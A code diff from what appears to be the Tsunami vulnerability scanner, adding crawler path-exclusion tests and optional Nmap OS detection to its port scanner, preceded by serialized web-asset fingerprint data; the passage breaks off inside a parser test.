+Mstatic/vendor/moment/moment.min.js?v=410ee9e04acb8f59f400858752ca82b4ef88035e +2.7.0"K +@static/css/alerts.css?v=10f645382988add09c8e3420d0d7ff2dc4d36a29 +1.6.0"O +Cstatic/js/graph/index.js?v=e5a06b483527d4fe0704b8fa3a2b475b661c526f +2.20.0"S +Gstatic/vendor/fuzzy/fuzzy.js?v=343d8d75fd7628ccea2a29410f38ae0ec0b50969 +2.11.2"\ +Qstatic/vendor/rickshaw/rickshaw.min.js?v=71af5e29e815795e9dd14742ee7725682fa14b7b +2.3.2"] +Qstatic/vendor/rickshaw/vendor/d3.v3.js?v=ec1868b0267d13cb5967286fd5ec6afff507905b +2.15.0" +{static/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.css?v=85f23d82a045d103ea7f3c89a91fba4a93e6367a +2.1.0"h +\static/vendor/bootstrap-4.3.1/js/bootstrap.min.js?v=18254838fbe25dcc732c950ae05f78ed4db1292c +2.17.2"K +?static/css/graph.css?v=d9613e5c466c6e9de548c4dae1b9aabf9aaf7c57 +2.15.2"O +Cstatic/js/graph/index.js?v=5d7e3e970602c755855340cb190a972cebdd2ebf +2.19.0"\ +Qstatic/vendor/mustache/mustache.min.js?v=62e591f928ddf6b3468308b7ac1de1c63aa7fcf3 +2.7.1"i +^static/vendor/bootstrap-3.3.1/css/bootstrap.min.css?v=dbd1d58c894775c0788470944b818cc724f550fb +2.6.0"i +^static/vendor/bootstrap-3.3.1/css/bootstrap.min.css?v=167a4b4e73a8eca8df648d2d2043e21bdb9a7449 +2.4.3"P +Dstatic/css/prometheus.css?v=8744510c6391d3ef46d8294a7e1f46e57407ab13 +2.15.1"J +?static/css/graph.css?v=167a4b4e73a8eca8df648d2d2043e21bdb9a7449 +2.4.3"K +@static/css/alerts.css?v=bc6058c81272a8d938c05e75607371284236aadc +2.2.1"I +>static/js/alerts.js?v=f63e7db4cbdb616337ca877b306b9b96f7f4e381 +2.2.0"J +>static/js/alerts.js?v=ec1868b0267d13cb5967286fd5ec6afff507905b +2.15.0"g +\static/vendor/bootstrap-3.3.1/js/bootstrap.min.js?v=5211b96d4d1291c3dd1a569f711d3b301b635ecb +1.8.2"Z +Ostatic/vendor/js/jquery.selection.js?v=62e591f928ddf6b3468308b7ac1de1c63aa7fcf3 +2.7.1"X +Mstatic/vendor/js/jquery.hotkeys.js?v=c305ffaa092e94e9d2dbbddf8226c4813b1190a0 +2.4.2" +{static/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.css?v=71af5e29e815795e9dd14742ee7725682fa14b7b +2.3.2"\ +Qstatic/vendor/rickshaw/rickshaw.min.js?v=85f23d82a045d103ea7f3c89a91fba4a93e6367a +2.1.0"\ +Qstatic/vendor/rickshaw/vendor/d3.v3.js?v=410ee9e04acb8f59f400858752ca82b4ef88035e +2.7.0"X +Mstatic/vendor/js/jquery.hotkeys.js?v=ce6716fe90ed67cb91cf8cf38a5de951853dcc2b +2.4.1"[ +Ostatic/vendor/js/jquery-3.3.1.min.js?v=8744510c6391d3ef46d8294a7e1f46e57407ab13 +2.15.1"L +Astatic/css/targets.css?v=d3245f15022551c6fc8281766ea62db4d71e2747 +2.9.2"I +>static/js/alerts.js?v=3569eef8b1bc062bb5df43181b938277818f365b +1.8.0"^ +Rstatic/vendor/rickshaw/rickshaw.min.css?v=8744510c6391d3ef46d8294a7e1f46e57407ab13 +2.15.1" +$static/vendor/js/jquery.selection.js +1.5.3 +1.5.2 +1.5.1 +1.5.0 +1.4.1 +1.4.0 +1.3.1 +1.3.0 +1.2.3 +1.2.2 +1.2.1 +1.2.0 +1.1.3 +1.1.2 +1.1.1 +1.1.0 +1.0.2 +1.0.1 +1.0.0 +2.22.2 +2.22.1 +2.22.0 +2.21.0 +2.20.1 +2.20.0 +2.19.3 +2.19.2 +2.19.1 +2.19.0 +2.18.2 +2.18.1 +2.18.0 +2.17.2 +2.17.1 +2.17.0 +2.16.0 +2.15.2 +2.15.1 +2.15.0 +2.14.0 +2.13.1 +2.13.0 +2.12.0 +2.11.2 +2.11.1 +2.11.0 +2.10.0 +2.9.2 +2.9.1 +2.9.0 +2.8.1 +2.8.0 +2.7.2 +2.7.1 +2.7.0 +2.6.1 +2.6.0 +2.5.0 +2.4.3 +2.4.2 +2.4.1 +2.4.0 +2.3.2 +2.3.1 +2.3.0 +2.2.1 +2.2.0 +2.1.0 +2.0.0 +1.8.2 +1.8.1 +1.8.0 +1.7.2 +1.7.1 +1.7.0 +1.6.3 +1.6.2 +1.6.1 +1.6.0"] +Qstatic/vendor/rickshaw/vendor/d3.v3.js?v=39e01b369dbd78278ca63e54f4976dff3b41df98 +2.17.0"Y +Mstatic/vendor/moment/moment.min.js?v=ec1868b0267d13cb5967286fd5ec6afff507905b +2.15.0"{ +ostatic/vendor/bootstrap4-glyphicons/css/bootstrap-glyphicons.min.css?v=18254838fbe25dcc732c950ae05f78ed4db1292c +2.17.2"K +@static/css/alerts.css?v=5211b96d4d1291c3dd1a569f711d3b301b635ecb +1.8.2"[ +Ostatic/vendor/js/jquery-3.3.1.min.js?v=d9613e5c466c6e9de548c4dae1b9aabf9aaf7c57 +2.15.2"] +Qstatic/vendor/rickshaw/rickshaw.min.js?v=edeb7a44cbf745f1d8be4ea6f215e79e651bfe19 +2.14.0"{ +ostatic/vendor/bootstrap4-glyphicons/css/bootstrap-glyphicons.min.css?v=edeb7a44cbf745f1d8be4ea6f215e79e651bfe19 +2.14.0"M +Astatic/img/favicon.ico?v=c448ada63d83002e9c1d2c9f84e09f55a61f0ff7 +2.19.2"I +>static/js/alerts.js?v=ce6716fe90ed67cb91cf8cf38a5de951853dcc2b +2.4.1") +static/js/2.940920d3.chunk.js +2.23.0"R +Gstatic/vendor/fuzzy/fuzzy.js?v=dbd1d58c894775c0788470944b818cc724f550fb +2.6.0" +static/css/main.e64b9629.css +2.40.7 +2.40.6 +2.40.5 +2.40.4 +2.40.3 +2.40.2 +2.40.1 +2.40.0 +2.39.2 +2.39.1 +2.39.0"d +Ystatic/vendor/rickshaw/vendor/d3.layout.min.js?v=0a74f98628a0463dddc90528220c94de5032d1a0 +2.0.0"J +?static/css/graph.css?v=4666df502c0e239ed4aa1d80abbbfb54f61b23c3 +1.6.1"M +Astatic/css/targets.css?v=0a7fdd3b76960808c3a91d92267c3d815c1bc354 +2.22.0"e +Ystatic/vendor/rickshaw/vendor/d3.layout.min.js?v=8744510c6391d3ef46d8294a7e1f46e57407ab13 +2.15.1"I +>static/js/alerts.js?v=c305ffaa092e94e9d2dbbddf8226c4813b1190a0 +2.4.2"K +?static/js/targets.js?v=d9613e5c466c6e9de548c4dae1b9aabf9aaf7c57 +2.15.2"h +\static/vendor/bootstrap-4.3.1/js/bootstrap.min.js?v=eba3fdcbf0d378b66600281903e3aab515732b39 +2.19.1" +zstatic/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.js?v=b38e977fd8cc2a0d13f47e7f0e17b82d1a908a9a +1.6.2"( +static/css/main.8fdab34b.css +2.38.0"{ +ostatic/vendor/bootstrap4-glyphicons/css/bootstrap-glyphicons.min.css?v=657ba532e42f1db8d7c77bf802378643da0d3118 +2.19.3" +{static/vendor/eonasdan-bootstrap-datetimepicker/bootstrap-datetimepicker.min.css?v=edeb7a44cbf745f1d8be4ea6f215e79e651bfe19 +2.14.0"\ +Qstatic/vendor/rickshaw/rickshaw.min.js?v=3a7c51ab70fc7615cd318204d3aa7c078b7c5b20 +1.8.1"] +Qstatic/vendor/rickshaw/rickshaw.min.js?v=657ba532e42f1db8d7c77bf802378643da0d3118 +2.19.3"O +Cstatic/js/graph/index.js?v=6f92ce56053866194ae5937012c1bec40f1dd1d9 +2.13.1"M +Astatic/img/favicon.ico?v=a6600f564e3c483cc820bae6c7a551db701a22b3 +2.18.2"M +Astatic/img/favicon.ico?v=e5a06b483527d4fe0704b8fa3a2b475b661c526f +2.20.0"] +Qstatic/vendor/rickshaw/rickshaw.min.js?v=18254838fbe25dcc732c950ae05f78ed4db1292c +2.17.2"Z +Ostatic/vendor/js/jquery.selection.js?v=b38e977fd8cc2a0d13f47e7f0e17b82d1a908a9a +1.6.2"O +Dstatic/css/prometheus.css?v=dbd1d58c894775c0788470944b818cc724f550fb +2.6.0"] +Rstatic/vendor/rickshaw/rickshaw.min.css?v=0a74f98628a0463dddc90528220c94de5032d1a0 +2.0.0"J +?static/css/graph.css?v=59369491cfdfe8dcb325723d6d28a837887a07b9 +2.8.0 \ No newline at end of file diff --git a/google/fingerprinters/web/src/test/java/com/google/tsunami/plugins/fingerprinters/web/WebServiceFingerprinterConfigsTest.java b/google/fingerprinters/web/src/test/java/com/google/tsunami/plugins/fingerprinters/web/WebServiceFingerprinterConfigsTest.java index 097faafdc..a128ee23f 100644 --- a/google/fingerprinters/web/src/test/java/com/google/tsunami/plugins/fingerprinters/web/WebServiceFingerprinterConfigsTest.java +++ b/google/fingerprinters/web/src/test/java/com/google/tsunami/plugins/fingerprinters/web/WebServiceFingerprinterConfigsTest.java @@ -149,4 +149,36 @@ public void contentTypeExclusions_whenBothCliAndConfigAreNotSet_returnsDefaultVa .containsExactly("application/zip", "application/gzip") .inOrder(); } + + @Test + public void pathExclusions_whenCliOptionSet_returnsCliOptionSetting() { + cliOptions.pathExclusions = ImmutableList.of(".*/logout$", ".*/dangerous$"); + assertThat(configs.getPathExclusions()) + .containsExactly(".*/logout$", ".*/dangerous$") + .inOrder(); + } + + @Test + public void pathExclusions_whenConfigPropertySet_returnsConfigPropertySetting() { + configProperties.pathExclusions = ImmutableList.of(".*/logout$", ".*/dangerous$"); + assertThat(configs.getPathExclusions()) + .containsExactly(".*/logout$", ".*/dangerous$") + .inOrder(); + } + + @Test + public void pathExclusions_whenBothCliAndConfigAreSet_cliOptionTakesPrecedence() { + cliOptions.pathExclusions = ImmutableList.of(".*/logout$", ".*/dangerous$"); + configProperties.pathExclusions = ImmutableList.of(".*/login$", ".*/safe$"); + assertThat(configs.getPathExclusions()) + .containsExactly(".*/logout$", ".*/dangerous$") + .inOrder(); + } + + @Test + public void pathExclusions_whenBothCliAndConfigAreNotSet_returnsDefaultValue() { + cliOptions.pathExclusions = null; + configProperties.pathExclusions = null; + assertThat(configs.getPathExclusions()).isEmpty(); + } } diff --git a/google/fingerprinters/web/src/test/java/com/google/tsunami/plugins/fingerprinters/web/crawl/CrawlConfigUtilsTest.java b/google/fingerprinters/web/src/test/java/com/google/tsunami/plugins/fingerprinters/web/crawl/CrawlConfigUtilsTest.java index 32302db38..8028cde02 100644 --- a/google/fingerprinters/web/src/test/java/com/google/tsunami/plugins/fingerprinters/web/crawl/CrawlConfigUtilsTest.java +++ b/google/fingerprinters/web/src/test/java/com/google/tsunami/plugins/fingerprinters/web/crawl/CrawlConfigUtilsTest.java @@ -17,7 +17,10 @@ import static com.google.common.truth.Truth.assertThat; import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertTrue; +import com.google.common.collect.ImmutableList; import com.google.tsunami.proto.CrawlConfig; import com.google.tsunami.proto.CrawlConfig.Scope; import com.google.tsunami.proto.CrawlTarget; @@ -71,9 +74,11 @@ public void isCrawlTargetInScope_whenScopeEnforcementDisabled_alwaysReturnsTrue( CrawlTarget.newBuilder().setUrl("http://localhost:8080/in-scope/index.html").build())) .isTrue(); assertThat( - CrawlConfigUtils.isCrawlTargetInScope( - crawlConfig, - CrawlTarget.newBuilder().setUrl("http://localhost:8080/not-in-scope/index.html").build())) + CrawlConfigUtils.isCrawlTargetInScope( + crawlConfig, + CrawlTarget.newBuilder() + .setUrl("http://localhost:8080/not-in-scope/index.html") + .build())) .isTrue(); } @@ -124,4 +129,20 @@ public void isCrawlTargetInScope_whenEnforcingScopeCheckAndTargetNotInScope_retu .build())) .isFalse(); } + + @Test + public void isCrawlTargetInBlockList_inBlockList_returnsTrue() { + ImmutableList blockList = ImmutableList.of(".*/quit$", ".*/logout$"); + CrawlTarget target = CrawlTarget.newBuilder().setUrl("http://127.0.0.1/logout").build(); + + assertTrue(CrawlConfigUtils.isCrawlTargetInBlockList(target, blockList)); + } + + @Test + public void isCrawlTargetInBlockList_notInBlockList_returnsFalse() { + ImmutableList blockList = ImmutableList.of(".*/quit$", ".*/logout$"); + CrawlTarget target = CrawlTarget.newBuilder().setUrl("http://127.0.0.1/login").build(); + + assertFalse(CrawlConfigUtils.isCrawlTargetInBlockList(target, blockList)); + } } diff --git a/google/fingerprinters/web/src/test/java/com/google/tsunami/plugins/fingerprinters/web/crawl/SimpleCrawlActionTest.java b/google/fingerprinters/web/src/test/java/com/google/tsunami/plugins/fingerprinters/web/crawl/SimpleCrawlActionTest.java index d4870faea..37c443985 100644 --- a/google/fingerprinters/web/src/test/java/com/google/tsunami/plugins/fingerprinters/web/crawl/SimpleCrawlActionTest.java +++ b/google/fingerprinters/web/src/test/java/com/google/tsunami/plugins/fingerprinters/web/crawl/SimpleCrawlActionTest.java @@ -20,12 +20,17 @@ import static java.nio.charset.StandardCharsets.UTF_8; import com.google.common.io.Resources; +import com.google.inject.AbstractModule; import com.google.inject.Guice; import com.google.tsunami.common.net.http.HttpClient; import com.google.tsunami.common.net.http.HttpClientModule; +import com.google.tsunami.plugins.fingerprinters.web.WebServiceFingerprinterConfigs; +import com.google.tsunami.plugins.fingerprinters.web.WebServiceFingerprinterConfigs.WebServiceFingerprinterCliOptions; +import com.google.tsunami.plugins.fingerprinters.web.WebServiceFingerprinterConfigs.WebServiceFingerprinterConfigProperties; import com.google.tsunami.proto.CrawlTarget; import java.io.IOException; import java.util.concurrent.ForkJoinPool; +import javax.inject.Inject; import okhttp3.mockwebserver.MockWebServer; import org.junit.After; import org.junit.Before; @@ -41,11 +46,28 @@ public final class SimpleCrawlActionTest { private SimpleCrawlerResults crawlerResults; private MockWebServer mockWebServer; private TestDataBuilder dataBuilder; + private WebServiceFingerprinterCliOptions cliOptions; + private WebServiceFingerprinterConfigProperties configProperties; + + @Inject WebServiceFingerprinterConfigs configs; @Before public void setUp() { + cliOptions = new WebServiceFingerprinterCliOptions(); + configProperties = new WebServiceFingerprinterConfigProperties(); + Guice.createInjector( + new AbstractModule() { + @Override + protected void configure() { + bind(WebServiceFingerprinterCliOptions.class).toInstance(cliOptions); + bind(WebServiceFingerprinterConfigProperties.class) + .toInstance(configProperties); + } + } + ).injectMembers(this); httpClient = - Guice.createInjector(new HttpClientModule.Builder().build()) + Guice.createInjector( + new HttpClientModule.Builder().build()) .getInstance(HttpClient.class) .modify() .setFollowRedirects(false) @@ -64,11 +86,13 @@ public void tearDown() throws IOException { public void getTargetUrl_always_returnsUrlFromCrawlTarget() { assertThat( new SimpleCrawlAction( - 0, - httpClient, - dataBuilder.buildCrawlConfig(), - dataBuilder.buildCrawlTargetForSeedPath("/path"), - crawlerResults).getTargetUrl()) + 0, + httpClient, + dataBuilder.buildCrawlConfig(), + dataBuilder.buildCrawlTargetForSeedPath("/path"), + crawlerResults, + configs) + .getTargetUrl()) .isEqualTo(mockWebServer.url("/path").toString()); } @@ -83,7 +107,8 @@ public void compute_whenUrlAlreadyVisited_doesNotCrawlSameTarget() { httpClient, dataBuilder.buildCrawlConfig(), CrawlTarget.getDefaultInstance(), - crawlerResults)); + crawlerResults, + configs)); assertThat(mockWebServer.getRequestCount()).isEqualTo(0); } @@ -99,7 +124,8 @@ public void compute_whenTargetUrlIsInvalid_ignoresCrawlTarget() { dataBuilder.buildCrawlTargetForSeedPath("").toBuilder() .setUrl("invalid-url") .build(), - crawlerResults)); + crawlerResults, + configs)); assertThat(mockWebServer.getRequestCount()).isEqualTo(0); assertThat(crawlerResults.getFinalResults()).isEmpty(); @@ -114,7 +140,8 @@ public void compute_whenHttpRequestError_ignoresCrawlTarget() { httpClient, dataBuilder.buildCrawlConfig(), dataBuilder.buildCrawlTargetForSeedPath("/timeout").toBuilder().build(), - crawlerResults)); + crawlerResults, + configs)); assertThat(mockWebServer.getRequestCount()).isEqualTo(1); assertThat(crawlerResults.getFinalResults()).isEmpty(); @@ -134,7 +161,8 @@ public void compute_whenSeedingUrlRedirects_followsRedirect() throws IOException httpClient, dataBuilder.buildCrawlConfig(), dataBuilder.buildCrawlTargetForSeedPath("/redirect"), - crawlerResults)); + crawlerResults, + configs)); assertThat(crawlerResults.getFinalResults()) .containsExactly( @@ -163,7 +191,8 @@ public void compute_whenExceedsMaxDepth_stopsCrawlingAtMaxDepth() throws IOExcep httpClient, dataBuilder.buildCrawlConfig().toBuilder().setMaxDepth(1).build(), dataBuilder.buildCrawlTargetForSeedPath("/redirect"), - crawlerResults)); + crawlerResults, + configs)); assertThat(crawlerResults.getFinalResults()) .containsExactly( @@ -186,7 +215,8 @@ public void compute_whenHtmlPageContainsOutOfScopeLink_ignoresOutOfScopeLink() httpClient, dataBuilder.buildCrawlConfig(), dataBuilder.buildCrawlTargetForSeedPath("/"), - crawlerResults)); + crawlerResults, + configs)); assertThat(crawlerResults.getFinalResults()) .containsExactly(dataBuilder.buildCrawlResult(0, "/", body)); @@ -209,7 +239,8 @@ private void assetCrawlResults(String testdataResourceName) throws Exception { httpClient, dataBuilder.buildCrawlConfig(), dataBuilder.buildCrawlTargetForSeedPath("/"), - crawlerResults)); + crawlerResults, + configs)); assertThat(crawlerResults.getFinalResults()) .containsExactly( diff --git a/google/portscan/nmap/src/main/java/com/google/tsunami/plugins/portscan/nmap/NmapPortScanner.java b/google/portscan/nmap/src/main/java/com/google/tsunami/plugins/portscan/nmap/NmapPortScanner.java index 4fc00ba46..f6ee5c55b 100644 --- a/google/portscan/nmap/src/main/java/com/google/tsunami/plugins/portscan/nmap/NmapPortScanner.java +++ b/google/portscan/nmap/src/main/java/com/google/tsunami/plugins/portscan/nmap/NmapPortScanner.java @@ -40,12 +40,14 @@ import com.google.tsunami.plugins.portscan.nmap.client.result.Host; import com.google.tsunami.plugins.portscan.nmap.client.result.Hostname; import com.google.tsunami.plugins.portscan.nmap.client.result.NmapRun; +import com.google.tsunami.plugins.portscan.nmap.client.result.OsClass; import com.google.tsunami.plugins.portscan.nmap.client.result.Port; import com.google.tsunami.plugins.portscan.nmap.client.result.Ports; import com.google.tsunami.plugins.portscan.nmap.client.result.Script; import com.google.tsunami.plugins.portscan.nmap.option.NmapPortScannerCliOptions; import com.google.tsunami.proto.NetworkEndpoint; import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.OperatingSystemClass; import com.google.tsunami.proto.PortScanningReport; import com.google.tsunami.proto.ScanTarget; import com.google.tsunami.proto.ServiceContext; @@ -75,6 +77,7 @@ bootstrapModule = NmapPortScannerBootstrapModule.class) public final class NmapPortScanner implements PortScanner { private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); + private static final int MAX_NUMBER_OF_OS_GUESSES = 1; private final NmapClient nmapClient; private final Executor commandExecutor; @@ -98,27 +101,41 @@ public final class NmapPortScanner implements PortScanner { this.httpClientCliOptions = checkNotNull(httpClientCliOptions); } + private static boolean isRunningInPrivilegedMode() { + // TODO(b/353644363): implement proper heuristics for this. For now, autodetection is just + // turned off. + return false; + } + @Override public PortScanningReport scan(ScanTarget scanTarget) { this.scanTarget = scanTarget; try { logger.atInfo().log("Starting nmap scan."); Stopwatch stopwatch = Stopwatch.createStarted(); - NmapRun result = - setPortTargets(nmapClient) - .withDnsResolution(DnsResolution.NEVER) - .treatAllHostsAsOnline() - .withScanTechnique(ScanTechnique.CONNECT) - .asUnprivileged() - .withServiceAndVersionDetection() - .withVersionDetectionIntensity(5) - .withScript("banner") - .withScript("ssl-enum-ciphers") - .withScript("http-methods", "http.useragent=" + httpClientCliOptions.userAgent) - .withTimingTemplate(TimingTemplate.AGGRESSIVE) - .withTargetNetworkEndpoint(scanTarget.getNetworkEndpoint()) - .withExtraCommandLineOptions(cliOptions.nmapCmdOpts) - .run(commandExecutor); + setPortTargets(nmapClient) + .withDnsResolution(DnsResolution.NEVER) + .treatAllHostsAsOnline() + .withScanTechnique(ScanTechnique.CONNECT) + .withServiceAndVersionDetection() + .withVersionDetectionIntensity(5) + .withScript("banner") + .withScript("ssl-enum-ciphers") + .withScript("http-methods", "http.useragent=" + httpClientCliOptions.userAgent) + .withTimingTemplate(TimingTemplate.AGGRESSIVE) + .withTargetNetworkEndpoint(scanTarget.getNetworkEndpoint()) + .withExtraCommandLineOptions(cliOptions.nmapCmdOpts); + + if (isRunningInPrivilegedMode() || cliOptions.nmapOsDetection) { + // According to https://nmap.org/book/osdetect-methods.html, OS fingerprinting sends + // up to 16 packets altogether, so it should not increase the scan time. + // Also, OS detection requires privileged mode, so we don't set the unprivileged flag. + nmapClient.withOsDetection().asPrivileged(); + } else { + nmapClient.asUnprivileged(); + } + + NmapRun result = nmapClient.run(commandExecutor); logger.atInfo().log( "Finished nmap scan on target '%s' in %s.", loggableScanTarget(scanTarget), stopwatch.stop()); @@ -215,14 +232,51 @@ private PortScanningReport extractServicesFromNmapRun(NmapRun nmapRun) { } private TargetInfo buildTargetInfoFromNmaprun(NmapRun nmapRun) { - return TargetInfo.newBuilder() - .addNetworkEndpoints( - getHostFromNmapRun(nmapRun) - .map(this::buildNetworkEndpointFromHost) - .orElse(scanTarget.getNetworkEndpoint())) + var nmapHost = getHostFromNmapRun(nmapRun); + var infoBuilder = + TargetInfo.newBuilder() + .addNetworkEndpoints( + nmapHost + .map(this::buildNetworkEndpointFromHost) + .orElse(scanTarget.getNetworkEndpoint())); + var oses = buildOperatingSystemClassesFromHost(nmapHost); + if (!oses.isEmpty()) { + infoBuilder.addAllOperatingSystemClasses(oses); + } + return infoBuilder.build(); + } + + private static OperatingSystemClass convertOperatingSystemClassFromXml(OsClass osc) { + int accuracy = 0; + try { + accuracy = Integer.parseInt(osc.accuracy()); + } catch (NumberFormatException e) { + logger.atWarning().withCause(e).log("Invalid accuracy value: %s", osc.accuracy()); + } + return OperatingSystemClass.newBuilder() + .setType(osc.type()) + .setVendor(osc.vendor()) + .setOsFamily(osc.osFamily()) + .setOsGeneration(osc.osGen()) + .setAccuracy(accuracy) .build(); } + private ImmutableList buildOperatingSystemClassesFromHost( + Optional host) { + if (host.isEmpty()) { + return ImmutableList.of(); + } + return host.get().oses().stream() + .flatMap(os -> os.osMatches().stream()) + .flatMap(osm -> osm.osClasses().stream()) + // Note: we do not order the OSes by accuracy, because Nmap populates the list starting with + // the "perfect" matches: https://github.com/nmap/nmap/blob/master/output.cc#L1896 + .limit(MAX_NUMBER_OF_OS_GUESSES) + .map(NmapPortScanner::convertOperatingSystemClassFromXml) + .collect(toImmutableList()); + } + private NetworkEndpoint buildNetworkEndpointFromHost(Host host) { Optional

    address = getAddressFromHost(host); Optional hostname = getHostnameFromHost(host); diff --git a/google/portscan/nmap/src/main/java/com/google/tsunami/plugins/portscan/nmap/option/NmapPortScannerCliOptions.java b/google/portscan/nmap/src/main/java/com/google/tsunami/plugins/portscan/nmap/option/NmapPortScannerCliOptions.java index 5b5eca165..d52f893d3 100644 --- a/google/portscan/nmap/src/main/java/com/google/tsunami/plugins/portscan/nmap/option/NmapPortScannerCliOptions.java +++ b/google/portscan/nmap/src/main/java/com/google/tsunami/plugins/portscan/nmap/option/NmapPortScannerCliOptions.java @@ -43,6 +43,9 @@ public final class NmapPortScannerCliOptions implements CliOption { description = "Additional command line options for Nmap scanning.") public List nmapCmdOpts; + @Parameter(names = "--nmap-os-detection", description = "Activates OS detection in Nmap.") + public boolean nmapOsDetection; + @Override public void validate() {} } diff --git a/google/portscan/nmap/src/test/java/com/google/tsunami/plugins/portscan/nmap/NmapPortScannerTest.java b/google/portscan/nmap/src/test/java/com/google/tsunami/plugins/portscan/nmap/NmapPortScannerTest.java index 8b09de44c..48cb39743 100644 --- a/google/portscan/nmap/src/test/java/com/google/tsunami/plugins/portscan/nmap/NmapPortScannerTest.java +++ b/google/portscan/nmap/src/test/java/com/google/tsunami/plugins/portscan/nmap/NmapPortScannerTest.java @@ -35,6 +35,7 @@ import com.google.tsunami.plugins.portscan.nmap.option.NmapPortScannerCliOptions; import com.google.tsunami.proto.NetworkEndpoint; import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.OperatingSystemClass; import com.google.tsunami.proto.PortScanningReport; import com.google.tsunami.proto.ScanTarget; import com.google.tsunami.proto.Software; @@ -99,7 +100,16 @@ public void run_whenNmapRunHasOpenPorts_returnsMatchingService() throws Exceptio portScanner.scan(ScanTarget.newBuilder().setNetworkEndpoint(networkEndpoint).build())) .isEqualTo( PortScanningReport.newBuilder() - .setTargetInfo(TargetInfo.newBuilder().addNetworkEndpoints(networkEndpoint)) + .setTargetInfo( + TargetInfo.newBuilder() + .addNetworkEndpoints(networkEndpoint) + .addOperatingSystemClasses( + OperatingSystemClass.newBuilder() + .setType("WAP") + .setVendor("Asus") + .setOsFamily("embedded") + .setAccuracy(98) + .build())) .addNetworkServices( NetworkService.newBuilder() .setNetworkEndpoint( diff --git a/google/portscan/nmap/src/test/java/com/google/tsunami/plugins/portscan/nmap/client/parser/NmapResultHandlerTest.java b/google/portscan/nmap/src/test/java/com/google/tsunami/plugins/portscan/nmap/client/parser/NmapResultHandlerTest.java index 561b291d0..6c219c228 100644 --- a/google/portscan/nmap/src/test/java/com/google/tsunami/plugins/portscan/nmap/client/parser/NmapResultHandlerTest.java +++ b/google/portscan/nmap/src/test/java/com/google/tsunami/plugins/portscan/nmap/client/parser/NmapResultHandlerTest.java @@ -423,4 +423,367 @@ public void parse_always_buildsNmapRunFromXmlDocument() throws IOException, SAXE .build()) .build()); } + + @Test + public void parse_multipleOsMatch_buildsNmapRunFromXmlDocument() + throws IOException, SAXException { + InputStream resource = + getClass().getResourceAsStream("testdata/scanRunIPv6_multipleOsMatch.xml"); + NmapResultHandler nmapResultHandler = new NmapResultHandler(); + + parser.parse(resource, nmapResultHandler); + + assertThat(nmapResultHandler.getNmapRun()) + .isEqualTo( + NmapRun.builder() + .setScanner("nmap") + .setArgs( + "nmap -n -sS -Pn -O --version-intensity 9 -sC -sV -6 -oX /tmp/ipv6.xml" + + " 2001:4860:4860::8888") + .setStart("1573478646") + .setStartStr("Mon Nov 11 14:24:06 2019") + .setVersion("7.70") + .setProfileName("") + .setXmlOutputVersion("1.04") + .setVerbose(Verbose.builder().setLevel("0").build()) + .setDebugging(Debugging.builder().setLevel("0").build()) + .addValueElement( + Target.builder() + .setSpecification("test specification") + .setStatus("skipped") + .setReason("invalid") + .build()) + .addValueElement( + TaskBegin.builder() + .setTask("test task") + .setTime("123456789") + .setExtraInfo("test extrainfo") + .build()) + .addValueElement( + TaskProgress.builder() + .setTask("test task") + .setTime("123456789") + .setPercent("90") + .setRemaining("10") + .setEtc("123") + .build()) + .addValueElement( + TaskEnd.builder() + .setTask("test task") + .setTime("123456789") + .setExtraInfo("test extrainfo") + .build()) + .addValueElement( + PreScript.builder() + .addScript( + Script.builder() + .setId("test prescript script1 id") + .setOutput("test prescript script1 output") + .addValueElement( + Elem.builder() + .setKey("test prescript script1 elem key") + .setValue( + "\n test prescript script1 elem value\n ") + .build()) + .addValueElement("\n \n ") + .build()) + .addScript( + Script.builder() + .setId("test prescript script2 id") + .setOutput("test prescript script2 output") + .addValueElement( + Elem.builder() + .setKey("test prescript script2 elem1 key") + .setValue( + "\n test prescript script2 elem1 value\n ") + .build()) + .addValueElement( + Elem.builder() + .setKey("test prescript script2 elem2 key") + .setValue( + "\n test prescript script2 elem2 value\n ") + .build()) + .addValueElement("\n \n \n ") + .build()) + .build()) + .addValueElement( + PostScript.builder() + .addScript( + Script.builder() + .setId("test postscript script id") + .setOutput("test postscript script output") + .addValueElement( + Table.builder() + .setKey("test postscript table key") + .addValueElement( + Elem.builder() + .setKey("test postscript table elem key") + .setValue( + "\n" + + " test postscript table elem" + + " value\n" + + " ") + .build()) + .build()) + .addValueElement( + Table.builder() + .setKey("test postscript nest outer table key") + .addValueElement( + Table.builder() + .setKey("test postscript nest inner table key") + .addValueElement( + Elem.builder() + .setKey( + "test postscript nest table elem key") + .setValue( + "\n" + + " test postscript" + + " table elem value\n" + + " ") + .build()) + .build()) + .build()) + .addValueElement("\n \n \n ") + .build()) + .build()) + .addValueElement( + Host.builder() + .setStartTime("1573478646") + .setEndTime("1573478879") + .setComment("host comment") + .addValueElement( + Status.builder() + .setState("up") + .setReason("user-set") + .setReasonTtl("0") + .build()) + .addValueElement( + Address.builder() + .setAddr("2001:4860:4860::8888") + .setAddrType("ipv6") + .setVendor("") + .build()) + .addValueElement( + Hostnames.builder() + .addHostname( + Hostname.builder().setName("hostname").setType("user").build()) + .addHostname( + Hostname.builder().setName("hostname2").setType("PTR").build()) + .build()) + .addValueElement(Smurf.builder().setResponses("responses").build()) + .addValueElement( + Ports.builder() + .addExtraPorts( + ExtraPorts.builder() + .setState("filtered") + .setCount("998") + .addExtraReasons( + ExtraReasons.builder() + .setReason("no-responses") + .setCount("996") + .build()) + .addExtraReasons( + ExtraReasons.builder() + .setReason("admin-prohibiteds") + .setCount("2") + .build()) + .build()) + .addPort( + Port.builder() + .setProtocol("tcp") + .setPortId("53") + .setState( + State.builder() + .setState("open") + .setReason("syn-ack") + .setReasonTtl("120") + .setReasonIp("") + .build()) + .setService( + Service.builder() + .setName("tcpwrapped") + .setConf("8") + .setMethod("probed") + .setVersion("") + .setProduct("") + .setExtraInfo("") + .setTunnel("") + .setProto("") + .setRpcNum("") + .setLowVer("") + .setHighVer("") + .setHostname("") + .setOsType("") + .setDeviceType("") + .setServiceFp("") + .build()) + .build()) + .addPort( + Port.builder() + .setProtocol("tcp") + .setPortId("443") + .setState( + State.builder() + .setState("open") + .setReason("syn-ack") + .setReasonTtl("120") + .setReasonIp("") + .build()) + .setService( + 